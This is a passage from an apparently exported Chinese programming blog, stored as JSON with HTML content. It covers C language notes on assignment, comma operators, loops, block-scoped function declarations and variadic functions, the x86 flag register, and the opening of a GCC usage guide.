赋值表达式的值就是左操作数的新值。\u003c/p\u003e\u003cp\u003e再来看看这个语句。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e(a=\u003cspan class=\"number\"\u003e4\u003c/span\u003e)=\u003cspan class=\"number\"\u003e3\u003c/span\u003e*\u003cspan class=\"number\"\u003e4\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e合法吗?不合法。括号项是表达式,它作为另一个赋值表达式的左值参与赋值运算。但是左值不能是常量,而\u003ccode\u003e(a=4)\u003c/code\u003e的值是4,显然不能被赋值。\u003c/p\u003e\u003ch2 id=\"逗号运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%9D%82%E8%AE%B0/#%E9%80%97%E5%8F%B7%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"逗号运算符\"\u003e\u003c/a\u003e逗号运算符\u003c/h2\u003e\u003cp\u003e逗号运算符将几个表达式相连接,构成一个表达式。这个表达式的值就是\u003cstrong\u003e最右边的子表达式的值\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e在这里有一个小技巧:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(expression1)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statement1,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estatement2;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e事实上这两条语句都会循环运行。此处的逗号运算符将两条语句合并成一条语句。\u003c/p\u003e\u003cp\u003e除了这里可以这么用,可以在循环条件中这么写:如果这么做能使程序更优秀的话。\u003c/p\u003e\u003ch2 id=\"for语句\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%9D%82%E8%AE%B0/#for%E8%AF%AD%E5%8F%A5\" class=\"headerlink\" title=\"for语句\"\u003e\u003c/a\u003efor语句\u003c/h2\u003e\u003cp\u003eC的\u003ccode\u003efor\u003c/code\u003e是\u003ccode\u003ewhile\u003c/code\u003e的一种常用语句组合形式的简写法。语法如下所示:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(expression1; expression2; expression3)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statement;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中\u003ccode\u003estatement\u003c/code\u003e称为循环体。\u003ccode\u003eexpression1\u003c/code\u003e为\u003cstrong\u003e初始化\u003c/strong\u003e部分,只在循环开始时执行一次。\u003ccode\u003eexpression2\u003c/code\u003e称为\u003cstrong\u003e条件\u003c/strong\u003e部分,它在循环体每次执行前都要执行一次,和\u003ccode\u003ewhile\u003c/code\u003e语句中的表达式一样。\u003ccode\u003eexpression3\u003c/code\u003e称为\u003cstrong\u003e调整\u003c/strong\u003e部分,它在循环体每次执行完毕,在条件部分即将执行前执行。\u003c/p\u003e\u003cp\u003e这三个表达式都是可省略的。若省略条件部分,表示测试的值始终为真。\u003c/p\u003e\u003ch2 id=\"表达式和语句\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%9D%82%E8%AE%B0/#%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%92%8C%E8%AF%AD%E5%8F%A5\" class=\"headerlink\" title=\"表达式和语句\"\u003e\u003c/a\u003e表达式和语句\u003c/h2\u003e\u003cp\u003e表达式可以出现在任何地方,而语句只能出现在单独的一行。C语言没有赋值语句,它只有赋值表达式。\u003c/p\u003e\u003cp\u003e所以嘛,表达式能出现的地方,都可以赋值,这就有了上面那个奇怪的赋值2。\u003c/p\u003e\u003ch2 id=\"代码块与声明\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%9D%82%E8%AE%B0/#%E4%BB%A3%E7%A0%81%E5%9D%97%E4%B8%8E%E5%A3%B0%E6%98%8E\" class=\"headerlink\" title=\"代码块与声明\"\u003e\u003c/a\u003e代码块与声明\u003c/h2\u003e\u003cp\u003e我们知道,变量是有作用域的。也就是说,它可以声明在最外层,或者是代码块开头。其实,函数的声明也一样。看看这个:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esquare\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a*a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e num;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e,\u0026amp;num);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e,square(num));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e一样,它也可以使用函数原型。只需要在前面声明函数原型,在之后写上函数实现就行。不过,以这种形式只能在这个语句块中使用。所以,\u003cdel\u003e我们可以随便套娃\u003c/del\u003e我们可以声明任意多重的函数。不过注意作用域问题:内层声明会在当前语句块内覆盖重名的外层声明。\u003c/p\u003e\u003cp\u003e另外还有,关于代码块,它并非必须和\u003ccode\u003efor\u003c/code\u003e等一起出现。它也可以单独出现。和一起出现时一样,它形成了一个块作用域,可以划定更精细的作用域和生命周期。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e关于\u003ccode\u003emain()\u003c/code\u003e函数\u003c/p\u003e\u003cp\u003e其实它真的和其他函数一样是平等的。编译器编译时并没有区别对待它,但是连接器在链接过程,会将一个中间文件链接过来,那个文件指明了程序的入口点:\u003ccode\u003emain()\u003c/code\u003e。\u003cbr/\u003e程序只是从\u003ccode\u003emain()\u003c/code\u003e开始执行,仅此而已。\u003cbr/\u003e既然如此,那么其他函数的操作,在\u003ccode\u003emain()\u003c/code\u003e函数,也可以使用了。比如递归(虽然这种用法极度罕见),被别的函数调用等各种操作。\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"可变参数列表的函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%9D%82%E8%AE%B0/#%E5%8F%AF%E5%8F%98%E5%8F%82%E6%95%B0%E5%88%97%E8%A1%A8%E7%9A%84%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"可变参数列表的函数\"\u003e\u003c/a\u003e可变参数列表的函数\u003c/h2\u003e\u003cp\u003e需要用宏来实现。这些宏位于\u003ccode\u003estdargs.h\u003c/code\u003e头文件,是C标准库的一部分。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdarg.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e \u003cspan class=\"title function_\"\u003eavarage\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e n_values, ...)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_list var_arg;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e count;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e sum=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_start(var_arg, n_values);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(count=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;count\u0026lt;n_values;count++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sum+=va_arg(var_arg, \u003cspan class=\"type\"\u003eint\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_end(var_arg);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e sum/n_values;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/09/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%9D%82%E8%AE%B0/"},{"title":"汇编学习笔记:标志寄存器(flag)","time":"2021-09-27T15:45:55Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e[[Assembly|汇编笔记系列]]\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eflag寄存器的每一位都表示单独的含义,记录特定的信息。这种信息通常称作程序状态字(PSW)。\u003c/p\u003e\u003cp\u003e该寄存器长2字节,结构如下所示。\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e OF DF IF TF SF ZF AF PF CF\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面逐个解释。\u003c/p\u003e\u003ch2 id=\"ZF标志\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%A0%87%E5%BF%97%E5%AF%84%E5%AD%98%E5%99%A8%EF%BC%88flag%EF%BC%89/#ZF%E6%A0%87%E5%BF%97\" class=\"headerlink\" title=\"ZF标志\"\u003e\u003c/a\u003eZF标志\u003c/h2\u003e\u003cp\u003e第6位,零位标志。它记录相关指令执行后,结果是否为零。为零则\u003ccode\u003ezf=1\u003c/code\u003e,否则\u003ccode\u003ezf=0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e这里的相关指令包含\u003ccode\u003eadd,sub,mul,div,inc,or,and\u003c/code\u003e等,它们大多都是运算指令。因此,使用指令时,要注意它的\u003cstrong\u003e全部功能,包括执行结果对标志寄存器的影响\u003c/strong\u003e。\u003c/p\u003e\u003ch2 id=\"PF标志\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%A0%87%E5%BF%97%E5%AF%84%E5%AD%98%E5%99%A8%EF%BC%88flag%EF%BC%89/#PF%E6%A0%87%E5%BF%97\" class=\"headerlink\" title=\"PF标志\"\u003e\u003c/a\u003ePF标志\u003c/h2\u003e\u003cp\u003e第2位,奇偶标志位。它记录相关指令执行后,其结果的\u003cstrong\u003e所有bit位中1的个数是否为偶数\u003c/strong\u003e。若是则是1,否则为0。\u003c/p\u003e\u003ch2 id=\"SF标志\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%A0%87%E5%BF%97%E5%AF%84%E5%AD%98%E5%99%A8%EF%BC%88flag%EF%BC%89/#SF%E6%A0%87%E5%BF%97\" class=\"headerlink\" title=\"SF标志\"\u003e\u003c/a\u003eSF标志\u003c/h2\u003e\u003cp\u003e第7位,符号标志位。它记录相关指令执行后,其结果是否为负(即存储单元最高位bit是否为1)。若是则是1,否则为0。\u003cstrong\u003e只有将数据当做有符号数来运算的时候,其值才有意义\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e换句话说,算数运算必然影响SF的值,是否需要此值则看我们如何看待指令所进行的运算。\u003c/p\u003e\u003ch2 id=\"CF标志\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%A0%87%E5%BF%97%E5%AF%84%E5%AD%98%E5%99%A8%EF%BC%88flag%EF%BC%89/#CF%E6%A0%87%E5%BF%97\" class=\"headerlink\" title=\"CF标志\"\u003e\u003c/a\u003eCF标志\u003c/h2\u003e\u003cp\u003e第0位,进位标志位。一般在进行\u003cstrong\u003e无符号数\u003c/strong\u003e运算的时候,它记录了运算结果的最高有效位向更高位的进位值,或从更高位的借位值。\u003c/p\u003e\u003ch2 id=\"OF标志\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%A0%87%E5%BF%97%E5%AF%84%E5%AD%98%E5%99%A8%EF%BC%88flag%EF%BC%89/#OF%E6%A0%87%E5%BF%97\" class=\"headerlink\" title=\"OF标志\"\u003e\u003c/a\u003eOF标志\u003c/h2\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/09/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%A0%87%E5%BF%97%E5%AF%84%E5%AD%98%E5%99%A8%EF%BC%88flag%EF%BC%89/"},{"title":"GCC食用指北","time":"2021-09-26T03:12:03Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"简介\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GCC%E9%A3%9F%E7%94%A8%E6%8C%87%E5%8C%97/#%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h2\u003e\u003cp\u003eGCC是源自GNU项目的一个开源[[C·C++|C/C++]]编译器。和它同样出自GNU的还有GNU/Linux。关于GCC的说明,如果你使用的是Linux,那么其实在安装的时候,它的使用手册也已经被释放到你的电脑上了。只需要键入\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eroot@xeonds:~\u003cspan class=\"comment\"\u003e# man gcc\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e即可阅读它的使用手册(不过是全英文版的)。在文章最后,我会贴出我个人翻译的版本。\u003c/p\u003e\u003ch2 id=\"用法\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GCC%E9%A3%9F%E7%94%A8%E6%8C%87%E5%8C%97/#%E7%94%A8%E6%B3%95\" class=\"headerlink\" title=\"用法\"\u003e\u003c/a\u003e用法\u003c/h2\u003e\u003cp\u003e一般用法很简单。只需输入:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eroot@xeonds:~\u003cspan class=\"comment\"\u003e# gcc hello.c\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e即可。如果没有报错,则不会有任何输出。此时会在当前目录生成\u003ccode\u003ea.out\u003c/code\u003e文件,即目标程序。\u003c/p\u003e\u003cp\u003e如果想更改目标文件的文件名,你还可以这么调用:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eroot@xeonds:~\u003cspan class=\"comment\"\u003e# gcc hello.c -o hello.exe\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e最终会生成\u003ccode\u003ehello.exe\u003c/code\u003e文件。\u003c/p\u003e\u003ch2 id=\"常见问题\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GCC%E9%A3%9F%E7%94%A8%E6%8C%87%E5%8C%97/#%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98\" class=\"headerlink\" title=\"常见问题\"\u003e\u003c/a\u003e常见问题\u003c/h2\u003e\u003ch3 id=\"undefined-reference-to-‘dlopen’\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GCC%E9%A3%9F%E7%94%A8%E6%8C%87%E5%8C%97/#undefined-reference-to-%E2%80%98dlopen%E2%80%99\" class=\"headerlink\" title=\"undefined reference to ‘dlopen’\"\u003e\u003c/a\u003eundefined reference to ‘dlopen’\u003c/h3\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ gcc DBSim.c\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/tmp/ccEdvduQ.o: In \u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e `main\u003cspan class=\"string\"\u003e\u0026#39;:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan 